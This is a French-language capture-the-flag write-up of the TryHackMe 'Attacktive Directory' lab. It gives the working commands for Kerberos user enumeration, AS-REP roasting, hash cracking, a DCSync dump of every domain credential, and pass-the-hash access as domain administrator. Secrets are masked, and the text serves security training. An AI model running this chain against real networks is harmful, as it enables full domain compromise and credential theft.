TryHackMe — Attacktive Directory : méthodologie

Note. Write-up méthodologique : identifiants, hashes et flags sont masqués (██████). TryHackMe restreint la publication de solutions complètes — l’objectif ici est la démarche, pas les réponses.

Room TryHackMe — Attacktive Directory

1. Prise d’informations

Scan complet pour cartographier les services du contrôleur de domaine :

nmap -Pn -A -T4 $IP

Les ports typiques d’un DC ressortent : DNS (53), Kerberos (88), RPC (135), SMB (139/445), LDAP (389/3268), kpasswd (464), RDP (3389). Le scan révèle le domaine (spookysec.local) et le nom NetBIOS — informations clés pour la suite.

Tentative d’énumération SMB en session nulle :

enum4linux -U $IP

La session anonyme est acceptée mais l’énumération des utilisateurs est refusée (ACCESS_DENIED) : il faut une autre voie pour obtenir des comptes.

2. Énumération des utilisateurs via Kerberos

kerbrute permet d’énumérer les comptes valides sans authentification, en observant la réponse du KDC :

kerbrute userenum -d spookysec.local --dc $IP userlist.txt -o result_kerb

On en extrait une liste de comptes valides, dont un compte de service intéressant → ██████.

3. AS-REP Roasting

Les comptes sans pré-authentification Kerberos requise exposent un hash AS-REP, récupérable sans mot de passe :

impacket-GetNPUsers -dc-ip $IP -usersfile users.txt spookysec.local/

On récupère le hash du compte de service, que l’on casse hors-ligne :

hashcat -m 18200 -a 0 svc-admin-hash passwordlist.txt

Mot de passe retrouvé → ██████.

4. Accès SMB et rebond

Avec ces identifiants, on liste puis on parcourt les partages :

smbclient -L $IP -U spookysec.local/svc-admin
smbmap -u svc-admin -p '██████' -d . -H $IP

Un partage backup contient un fichier de sauvegarde. Il renferme une credential encodée en base64 :

echo "██████" | base64 -d
# [email protected]:██████

5. Dump NTDS (DCSync)

Le compte backup dispose des droits de réplication → on extrait la base NTDS du domaine entier :

impacket-secretsdump -just-dc spookysec.local/backup:'██████'@$IP

On obtient l’ensemble des hashes NT et clés Kerberos du domaine, tous caviardés ici, dont celui de l’Administrateur.

6. Pass-the-Hash

Plus besoin de casser le hash Administrator : on l’utilise directement pour ouvrir une session WinRM.

evil-winrm -i $IP -u administrator -H ██████

Accès administrateur du domaine obtenu. Les flags utilisateur et système se récupèrent ensuite sur les bureaux respectifs.

À retenir

Sur un DC, Kerberos (port 88) est une source d’énumération quand SMB est verrouillé.
L’AS-REP roasting ne requiert aucun identifiant : il suffit d’un compte sans pré-auth.
Un compte de sauvegarde avec droits de réplication = DCSync = tout le domaine.
Un hash NT suffit (pass-the-hash) : inutile de le casser pour s’en servir.